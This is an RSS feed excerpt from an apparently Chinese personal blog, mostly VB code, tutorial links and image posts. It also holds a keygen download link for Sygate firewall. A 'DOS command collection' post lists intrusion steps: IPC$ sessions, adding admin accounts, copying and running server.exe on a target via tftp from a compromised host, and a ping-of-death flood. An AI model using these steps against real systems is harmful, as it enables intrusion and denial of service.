src="http://hiphotos.baidu.com/cdwm/pic/item/def456e7a808692ab9382092.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/745baf4bdbc935f482025c92.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/723262594bf7922e2834f093.jpg"&gt;&lt;/div&gt;. &lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/6f9867388a0cd72797ddd89c.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/ac3bdf549695d45cd109069c.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/01da7f1e22c048f01bd5769c.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/8b6b89d49cc0c105a18bb79d.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/c541272dbbf66e30349bf79d.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;未完，待续，敬请关注 &lt;img style="MARGIN: 0px 0px -2px" border="0" src="http://www.mndsoft.com/blog/images/smilies/Face_03.gif"&gt;..... &lt;a target="_blank" href="http://www.mndsoft.com/shuma/8.jpg"&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=20</guid><pubDate>Tue, 17 Apr 2007 03:14:00 GMT</pubDate></item><item><title>制作绿色软件-视频教程(附工具)</title><link>http://www.chendw.cn:8080/view.aspx?id=19</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font size="1"&gt;感谢 炫舞丨疯子 提供动画&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="1"&gt;大家好，我是0o炫舞丨疯子 ，&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="1"&gt;今天带给大家一个制作简单的绿色软件的教程，&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="1"&gt;呵呵，其实也是介绍一种思路，牛人过&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://donghua2.3800cc.com/0704/070417zzlsrj.rar"&gt;点击下载1&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://donghua3.3800cc.com/0704/070417zzlsrj.rar"&gt;点击下载2&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=19</guid><pubDate>Tue, 17 Apr 2007 02:06:00 GMT</pubDate></item><item><title>[VB]取歌词的函数</title><link>http://www.chendw.cn:8080/view.aspx?id=18</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;应VB吧的一位朋友的要求写的一个小函数，主要是从歌词文件中通过播放进度取得歌词&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #0000ff;"&gt;只要把播放的进度传进去就会返回你要的歌词 &lt;br /&gt;getcs("00:21.58")&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Dim MyString &lt;br /&gt;Private Sub Command1_Click() &lt;br /&gt;&lt;br /&gt;MsgBox getgc(Text1.Text) &lt;br /&gt;End Sub &lt;br /&gt;&lt;br /&gt;Private Sub Form_Load() &lt;br /&gt;Dim tmpstr &lt;br /&gt;Open App.Path &amp;amp; "\1.lrc" For Input As #1 ' 打开输入文件。 &lt;br /&gt;Do While Not EOF(1) ' 循环至文件尾。 &lt;br /&gt;Input #1, tmpstr &lt;br /&gt;MyString = MyString &amp;amp; tmpstr &lt;br /&gt;Loop &lt;br /&gt;Close #1 ' 关闭文件。 &lt;br /&gt;Print MyString &lt;br /&gt;End Sub &lt;br /&gt;&lt;br /&gt;Function getgc(cs As String) &lt;br /&gt;i = InStr(MyString, cs) + 9 '开始位置 &lt;br /&gt;j = InStr(Mid(MyString, i, Len(MyString) - i), "[") &lt;br /&gt;&lt;br /&gt;'MsgBox Mid(MyString, i, j) &lt;br /&gt;If j = 1 Then &lt;br /&gt;getgc = getgc(Mid(MyString, i + 1, 8)) &lt;br /&gt;Else &lt;br /&gt;getgc = Mid(MyString, i, j - 1) &lt;br /&gt;End If&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=18</guid><pubDate>Sat, 28 Mar 2009 12:19:56 GMT</pubDate></item><item><title>sygate v4.5.850 注册机</title><link>http://www.chendw.cn:8080/view.aspx?id=15</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;下载地址：&lt;a href="http://cdws.gbaopan.com/files/1faf5f8bc1bc4e919c0149762d99ebb3.gbp"&gt;http://cdws.gbaopan.com/files/1faf5f8bc1bc4e919c0149762d99ebb3.gbp&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=15</guid><pubDate>Sat, 28 Mar 2009 12:20:34 GMT</pubDate></item><item><title>VB控制WORD</title><link>http://www.chendw.cn:8080/view.aspx?id=14</link><description>&lt;div id="blog_text" class="cnt"&gt;VERSION 1.0 CLASS &lt;br&gt;BEGIN &lt;br&gt;MultiUse = -1 'True &lt;br&gt;Persistable = 0 'NotPersistable &lt;br&gt;DataBindingBehavior = 0 'vbNone &lt;br&gt;DataSourceBehavior = 0 'vbNone &lt;br&gt;MTSTransactionMode = 0 'NotAnMTSObject &lt;br&gt;END &lt;br&gt;Attribute VB_Name = "SetWord" &lt;br&gt;Attribute VB_GlobalNameSpace = False &lt;br&gt;Attribute VB_Creatable = True &lt;br&gt;Attribute VB_PredeclaredId = False &lt;br&gt;Attribute VB_Exposed = False &lt;br&gt;Private mywdapp As Word.Application &lt;br&gt;Private mysel As Object &lt;br&gt;&lt;br&gt;'属性值的模块变量 &lt;br&gt;Private C_TemplateDoc As String &lt;br&gt;Private C_newDoc As String &lt;br&gt;Private C_PicFile As String &lt;br&gt;Private C_ErrMsg As Integer &lt;br&gt;&lt;br&gt;Public Event HaveError() &lt;br&gt;Attribute HaveError.VB_Description = "出错时激发此事件.出错代码为ErrMsg属性" &lt;br&gt;'*************************************************************** &lt;br&gt;'ErrMsg代码：1－word没有安装 2 - 缺少参数 3 - 没权限写文件 &lt;br&gt;' 4 - 文件不存在 &lt;br&gt;' &lt;br&gt;'*************************************************************** &lt;br&gt;&lt;br&gt;Public Function ReplacePic(FindStr As String, Optional Time As Integer = 0) As Integer &lt;br&gt;Attribute ReplacePic.VB_Description = "查找FindStr,并替换为PicFile所指向的图片文件,替换次数由time参数确定,为0时，替换所有" &lt;br&gt;&lt;br&gt;'******************************************************************************** &lt;br&gt;' 从Word.Range对象mysel中查找所有FindStr，并替换为PicFile图像 &lt;br&gt;' 替换次数由time参数确定，为0时，替换所有 &lt;br&gt;'******************************************************************************** &lt;br&gt;&lt;br&gt;If Len(C_PicFile) = 0 Then &lt;br&gt;C_ErrMsg = 2 &lt;br&gt;Exit Function &lt;br&gt;End If &lt;br&gt;&lt;br&gt;Dim i As Integer &lt;br&gt;Dim findtxt As Boolean &lt;br&gt;&lt;br&gt;mysel.Find.ClearFormatting &lt;br&gt;mysel.Find.Replacement.ClearFormatting &lt;br&gt;With mysel.Find &lt;br&gt;.Text = FindStr &lt;br&gt;.Replacement.Text = "" &lt;br&gt;.Forward = True &lt;br&gt;.Wrap = wdFindContinue &lt;br&gt;.Format = False &lt;br&gt;.MatchCase = False &lt;br&gt;.MatchWholeWord = False &lt;br&gt;.MatchByte = True &lt;br&gt;.MatchWildcards = False &lt;br&gt;.MatchSoundsLike = False &lt;br&gt;.MatchAllWordForms = False &lt;br&gt;End With &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;findtxt = mysel.Find.Execute(Replace:=True) &lt;br&gt;If Not findtxt Then &lt;br&gt;ReplacePic = 0 &lt;br&gt;Exit Function &lt;br&gt;End If &lt;br&gt;i = 1 &lt;br&gt;Do While findtxt &lt;br&gt;mysel.InlineShapes.AddPicture FileName:=C_PicFile &lt;br&gt;If i = Time Then Exit Do &lt;br&gt;i = i + 1 &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;findtxt = mysel.Find.Execute(Replace:=True) &lt;br&gt;Loop &lt;br&gt;ReplacePic = i &lt;br&gt;End Function &lt;br&gt;&lt;br&gt;Public Function FindThis(FindStr As String) As Boolean &lt;br&gt;Attribute FindThis.VB_Description = "查找FindStr,如果模板中有FindStr则返回True" &lt;br&gt;If Len(FindStr) = 0 Then &lt;br&gt;C_ErrMsg = 2 &lt;br&gt;Exit Function &lt;br&gt;End If &lt;br&gt;mysel.Find.ClearFormatting &lt;br&gt;mysel.Find.Replacement.ClearFormatting &lt;br&gt;With mysel.Find &lt;br&gt;.Text = FindStr &lt;br&gt;.Replacement.Text = "" &lt;br&gt;.Forward = True &lt;br&gt;.Wrap = wdFindContinue &lt;br&gt;.Format = False &lt;br&gt;.MatchCase = False &lt;br&gt;.MatchWholeWord = False &lt;br&gt;.MatchByte = True &lt;br&gt;.MatchWildcards = False &lt;br&gt;.MatchSoundsLike = False &lt;br&gt;.MatchAllWordForms = False &lt;br&gt;End With &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;FindThis = mysel.Find.Execute &lt;br&gt;End Function &lt;br&gt;&lt;br&gt;Public Function ReplaceChar(FindStr As String, RepStr As String, Optional Time As Integer = 0) As Integer &lt;br&gt;Attribute ReplaceChar.VB_Description = "查找FindStr,并替换为RepStr,替换次数由time参数确定,为0时，替换所有" &lt;br&gt;'******************************************************************************** &lt;br&gt;' 从Word.Range对象mysel中查找FindStr，并替换为RepStr &lt;br&gt;' 替换次数由time参数确定，为0时，替换所有 &lt;br&gt;'******************************************************************************** &lt;br&gt;Dim findtxt As Boolean &lt;br&gt;&lt;br&gt;If Len(FindStr) = 0 Then &lt;br&gt;C_ErrMsg = 2 &lt;br&gt;RaiseEvent HaveError &lt;br&gt;Exit Function &lt;br&gt;End If &lt;br&gt;&lt;br&gt;mysel.Find.ClearFormatting &lt;br&gt;mysel.Find.Replacement.ClearFormatting &lt;br&gt;With mysel.Find &lt;br&gt;.Text = FindStr &lt;br&gt;.Replacement.Text = RepStr &lt;br&gt;.Forward = True &lt;br&gt;.Wrap = wdFindContinue &lt;br&gt;.Format = False &lt;br&gt;.MatchCase = False &lt;br&gt;.MatchWholeWord = False &lt;br&gt;.MatchByte = True &lt;br&gt;.MatchWildcards = False &lt;br&gt;.MatchSoundsLike = False &lt;br&gt;.MatchAllWordForms = False &lt;br&gt;End With &lt;br&gt;&lt;br&gt;&lt;br&gt;If Time &amp;gt; 0 Then &lt;br&gt;For i = 1 To Time &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;findtxt = mysel.Find.Execute(Replace:=wdReplaceOne) &lt;br&gt;If Not findtxt Then Exit For &lt;br&gt;Next &lt;br&gt;If i = 1 And Not findtxt Then &lt;br&gt;ReplaceChar = 0 &lt;br&gt;Else &lt;br&gt;ReplaceChar = i &lt;br&gt;End If &lt;br&gt;Else &lt;br&gt;mysel.Find.Execute Replace:=wdReplaceAll &lt;br&gt;End If &lt;br&gt;End Function &lt;br&gt;&lt;br&gt;&lt;br&gt;Public Function GetPic(PicData() As Byte, FileName As String) As Boolean &lt;br&gt;Attribute GetPic.VB_Description = "把图像数据PicData,存为PicFile指定的文件" &lt;br&gt;'******************************************************************************** &lt;br&gt;' 把图像数据PicData,存为PicFile指定的文件 &lt;br&gt;'******************************************************************************** &lt;br&gt;On Error Resume Next &lt;br&gt;&lt;br&gt;If Len(FileName) = 0 Then &lt;br&gt;C_ErrMsg = 2 &lt;br&gt;RaiseEvent HaveError &lt;br&gt;Exit Function &lt;br&gt;End If &lt;br&gt;&lt;br&gt;Open FileName For Binary As #1 &lt;br&gt;&lt;br&gt;If Err.Number &amp;lt;&amp;gt; 0 Then &lt;br&gt;C_ErrMsg = 3 &lt;br&gt;Exit Function &lt;br&gt;End If &lt;br&gt;&lt;br&gt;'二进制文件用Get,Put存放，读取数据 &lt;br&gt;Put #1, , PicData &lt;br&gt;Close #1 &lt;br&gt;&lt;br&gt;C_PicFile = FileName &lt;br&gt;GetPic = True &lt;br&gt;&lt;br&gt;End Function &lt;br&gt;&lt;br&gt;&lt;br&gt;Public Sub DeleteToEnd() &lt;br&gt;Attribute DeleteToEnd.VB_Description = "删除从当前位置到结尾的所有内容" &lt;br&gt;mysel.EndKey Unit:=wdStory, Extend:=wdExtend &lt;br&gt;mysel.Delete Unit:=wdCharacter, Count:=1 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub MoveEnd() &lt;br&gt;Attribute MoveEnd.VB_Description = "光标移动到文档结尾" &lt;br&gt;'光标移动到文档结尾 &lt;br&gt;mysel.EndKey Unit:=wdStory &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub GotoLine(LineTime As Integer) &lt;br&gt;mysel.GoTo What:=wdGoToLine, Which:=wdGoToFirst, Count:=LineTime, Name:="" &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub OpenDoc(view As Boolean) &lt;br&gt;Attribute OpenDoc.VB_Description = "打开Word文件,View确定是否显示Word界面" &lt;br&gt;On Error Resume Next &lt;br&gt;&lt;br&gt;'******************************************************************************** &lt;br&gt;' 打开Word文件，并给全局变量mysel赋值 &lt;br&gt;'******************************************************************************** &lt;br&gt;&lt;br&gt;If Len(C_TemplateDoc) = 0 Then &lt;br&gt;mywdapp.Documents.Add &lt;br&gt;Else &lt;br&gt;mywdapp.Documents.Open (C_TemplateDoc) &lt;br&gt;End If &lt;br&gt;&lt;br&gt;If Err.Number &amp;lt;&amp;gt; 0 Then &lt;br&gt;C_ErrMsg = 4 &lt;br&gt;RaiseEvent HaveError &lt;br&gt;Exit Sub &lt;br&gt;End If &lt;br&gt;&lt;br&gt;mywdapp.Visible = view &lt;br&gt;mywdapp.Activate &lt;br&gt;Set mysel = mywdapp.Application.Selection &lt;br&gt;'mysel.Select &lt;br&gt;&lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub OpenWord() &lt;br&gt;On Error Resume Next &lt;br&gt;&lt;br&gt;'******************************************************************************** &lt;br&gt;' 打开Word程序，并给全局变量mywdapp赋值 &lt;br&gt;'******************************************************************************** &lt;br&gt;&lt;br&gt;Set mywdapp = CreateObject("word.application") &lt;br&gt;If Err.Number &amp;lt;&amp;gt; 0 Then &lt;br&gt;C_ErrMsg = 1 &lt;br&gt;RaiseEvent HaveError &lt;br&gt;Exit Sub &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub ViewDoc() &lt;br&gt;Attribute ViewDoc.VB_Description = "显示Word程序界面" &lt;br&gt;mywdapp.Visible = True &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub AddNewPage() &lt;br&gt;Attribute AddNewPage.VB_Description = "插入分页符" &lt;br&gt;mysel.InsertBreak Type:=wdPageBreak &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub WordCut() &lt;br&gt;Attribute WordCut.VB_Description = "剪切模板所有内容到剪切板" &lt;br&gt;'保存模板页面内容 &lt;br&gt;mysel.WholeStory &lt;br&gt;mysel.Cut &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub WordCopy() &lt;br&gt;Attribute WordCopy.VB_Description = "拷贝模板所有内容到剪切板" &lt;br&gt;mysel.WholeStory &lt;br&gt;mysel.Copy &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub WordDel() &lt;br&gt;mysel.WholeStory &lt;br&gt;mysel.Delete &lt;br&gt;mysel.HomeKey Unit:=wdStory &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub WordPaste() &lt;br&gt;Attribute WordPaste.VB_Description = "拷贝剪切板内容到当前位置" &lt;br&gt;'插入模块内容 &lt;br&gt;mysel.Paste &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub CloseDoc() &lt;br&gt;Attribute CloseDoc.VB_Description = "关闭Word文件模板" &lt;br&gt;'******************************************************************************** &lt;br&gt;' 关闭Word文件模本 &lt;br&gt;'******************************************************************************** &lt;br&gt;On Error Resume Next &lt;br&gt;&lt;br&gt;&lt;br&gt;mywdapp.ActiveDocument.Close False &lt;br&gt;&lt;br&gt;If Err.Number &amp;lt;&amp;gt; 0 Then &lt;br&gt;C_ErrMsg = 3 &lt;br&gt;Exit Sub &lt;br&gt;End If &lt;br&gt;&lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub QuitWord() &lt;br&gt;'******************************************************************************** &lt;br&gt;' 关闭Word程序 &lt;br&gt;'******************************************************************************** &lt;br&gt;On Error Resume Next &lt;br&gt;&lt;br&gt;mywdapp.Quit &lt;br&gt;&lt;br&gt;If Err.Number &amp;lt;&amp;gt; 0 Then &lt;br&gt;C_ErrMsg = 3 &lt;br&gt;Exit Sub &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Public Sub SavetoDoc() &lt;br&gt;Attribute SavetoDoc.VB_Description = "保存当前文档为FileName指定文件" &lt;br&gt;On Error Resume Next &lt;br&gt;&lt;br&gt;'并另存为文件FileName &lt;br&gt;&lt;br&gt;If Len(C_newDoc) = 0 Then &lt;br&gt;C_ErrMsg = 2 &lt;br&gt;RaiseEvent HaveError &lt;br&gt;Exit Sub &lt;br&gt;End If &lt;br&gt;&lt;br&gt;mywdapp.ActiveDocument.SaveAs (C_newDoc) &lt;br&gt;&lt;br&gt;If Err.Number &amp;lt;&amp;gt; 0 Then &lt;br&gt;C_ErrMsg = 3 &lt;br&gt;RaiseEvent HaveError &lt;br&gt;Exit Sub &lt;br&gt;End If &lt;br&gt;&lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;&lt;br&gt;Public Property Get TemplateDoc() As String &lt;br&gt;Attribute TemplateDoc.VB_Description = "模板文件名." &lt;br&gt;TemplateDoc = C_TemplateDoc &lt;br&gt;End Property &lt;br&gt;&lt;br&gt;Public Property Let TemplateDoc(ByVal vNewValue As String) &lt;br&gt;C_TemplateDoc = vNewValue &lt;br&gt;End Property &lt;br&gt;&lt;br&gt;Public Property Get newdoc() As String &lt;br&gt;Attribute newdoc.VB_Description = "执行CloseDoc方法时，将模板文件另存为此文件名指定的新文件.如果不指定，在执行CloseDoc方法时，将产生一个错误" &lt;br&gt;newdoc = C_newDoc &lt;br&gt;End Property &lt;br&gt;&lt;br&gt;Public Property Let newdoc(ByVal vNewValue As String) &lt;br&gt;C_newDoc = vNewValue &lt;br&gt;End Property &lt;br&gt;&lt;br&gt;Public Property Get PicFile() As String &lt;br&gt;Attribute PicFile.VB_Description = "图像文件名" &lt;br&gt;PicFile = C_PicFile &lt;br&gt;End Property &lt;br&gt;&lt;br&gt;Public Property Let PicFile(ByVal vNewValue As String) &lt;br&gt;C_PicFile = vNewValue &lt;br&gt;End Property &lt;br&gt;&lt;br&gt;Public Property Get ErrMsg() As Integer &lt;br&gt;Attribute ErrMsg.VB_Description = "错误信息.ErrMsg代码: 1-word没有安装 2-缺少参数 3-没权限写文件 4-文件不存在" &lt;br&gt;ErrMsg = C_ErrMsg &lt;br&gt;End Property&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=14</guid><pubDate>Mon, 16 Apr 2007 04:04:00 GMT</pubDate></item><item><title>架设PHP+MYSQL环境到搭建Discuz!--[黑鹰原创][视频]</title><link>http://www.chendw.cn:8080/view.aspx?id=12</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p &gt;&lt;a href="http://www.3800hk.com/donghua/g/12845.html" target="_blank" &gt;浏览页面&lt;/a &gt;&lt;/p &gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=12</guid><pubDate>Sat, 05 Aug 2006 02:46:00 GMT</pubDate></item><item><title>DOS命令集</title><link>http://www.chendw.cn:8080/view.aspx?id=10</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;font color="#ff6600" size="2" &gt;net use &lt;/font &gt;&lt;a href="file://ip/ipc$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\ipc$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; " " /user:" " 建立IPC空链接 &lt;br /&gt;net use &lt;/font &gt;&lt;a href="file://ip/ipc$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\ipc$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; "密码" /user:"用户名" 建立IPC非空链接 &lt;br /&gt;net use h: &lt;/font &gt;&lt;a href="file://ip/c$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\c$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: &lt;br /&gt;net use h: &lt;/font &gt;&lt;a href="file://ip/c$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\c$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; 登陆后映射对方C：到本地为H: &lt;br /&gt;net use &lt;/font &gt;&lt;a href="file://ip/ipc$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\ipc$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; /del 删除IPC链接 &lt;br /&gt;net use h: /del 删除映射对方到本地的为H:的映射 &lt;br /&gt;net user 用户名　密码　/add 建立用户 &lt;br /&gt;net user guest /active:yes 激活guest用户 &lt;br /&gt;net user 查看有哪些用户 &lt;br /&gt;net user 帐户名 查看帐户的属性 &lt;br /&gt;net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 &lt;br /&gt;net start 查看开启了哪些服务 &lt;br /&gt;net start 服务名　 开启服务；(如:net start telnet， net start schedule) &lt;br /&gt;net stop 服务名 停止某服务 &lt;br /&gt;net time \\目标ip 查看对方时间 &lt;br /&gt;net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 &lt;br /&gt;net view 查看本地局域网内开启了哪些共享 &lt;br /&gt;net view &lt;/font &gt;&lt;a href="file://ip/" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; 查看对方局域网内开启了哪些共享 &lt;br /&gt;net config 显示系统网络设置 &lt;br /&gt;net logoff 断开连接的共享 &lt;br /&gt;net pause 服务名 暂停某服务 &lt;br /&gt;net send ip "文本信息" 向对方发信息 &lt;br /&gt;net ver 局域网内正在使用的网络连接类型和信息 &lt;br /&gt;net share 查看本地开启的共享 &lt;br /&gt;net share ipc$ 开启ipc$共享 &lt;br /&gt;net share ipc$ /del 删除ipc$共享 &lt;br /&gt;net share c$ /del 删除C：共享 &lt;br /&gt;net user guest 12345 用guest用户登陆后用将密码改为12345 &lt;br /&gt;net password 密码 更改系统登陆密码 &lt;br /&gt;netstat -a 查看开启了哪些端口,常用netstat -an &lt;br /&gt;netstat -n 查看端口的网络连接情况，常用netstat -an &lt;br /&gt;netstat -v 查看正在进行的工作 &lt;br /&gt;netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） &lt;br /&gt;netstat -s 查看正在使用的所有协议使用情况 &lt;br /&gt;nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 &lt;br /&gt;tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 &lt;br /&gt;ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 &lt;br /&gt;ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) &lt;br /&gt;ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 &lt;br /&gt;tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) &lt;br /&gt;kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) &lt;br /&gt;del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件&lt;/font &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#2 二：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） &lt;br /&gt;move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 &lt;br /&gt;fc one.txt two.txt &amp;gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&amp;gt; "和"&amp;gt; &amp;gt;" 是重定向命令 &lt;br /&gt;at id号 开启已注册的某个计划任务 &lt;br /&gt;at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 &lt;br /&gt;at id号 /delete 停止某个已注册的计划任务 &lt;br /&gt;at 查看所有的计划任务 &lt;br /&gt;at &lt;/font &gt;&lt;a href="file://ip/" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 &lt;br /&gt;finger username @host 查看最近有哪些用户登陆 &lt;br /&gt;telnet ip 端口 远和登陆服务器,默认端口为23 &lt;br /&gt;open ip 连接到IP（属telnet登陆后的命令） &lt;br /&gt;telnet 在本机上直接键入telnet 将进入本机的telnet &lt;br /&gt;copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 &lt;br /&gt;copy c:\srv.exe &lt;/font &gt;&lt;a href="file://ip/admin$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\admin$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; 复制本地c:\srv.exe到对方的admin下 &lt;br /&gt;cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 &lt;br /&gt;copy &lt;/font &gt;&lt;a href="file://ip/admin$/svv.exe" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\admin$\svv.exe&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： &lt;br /&gt;xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 &lt;br /&gt;tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 &lt;br /&gt;tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 &lt;br /&gt;ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) &lt;br /&gt;route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface &lt;br /&gt;arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 &lt;br /&gt;start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 &lt;br /&gt;mem 查看cpu使用情况 &lt;br /&gt;attrib 文件名(目录名) 查看某文件（目录）的属性 &lt;br /&gt;attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 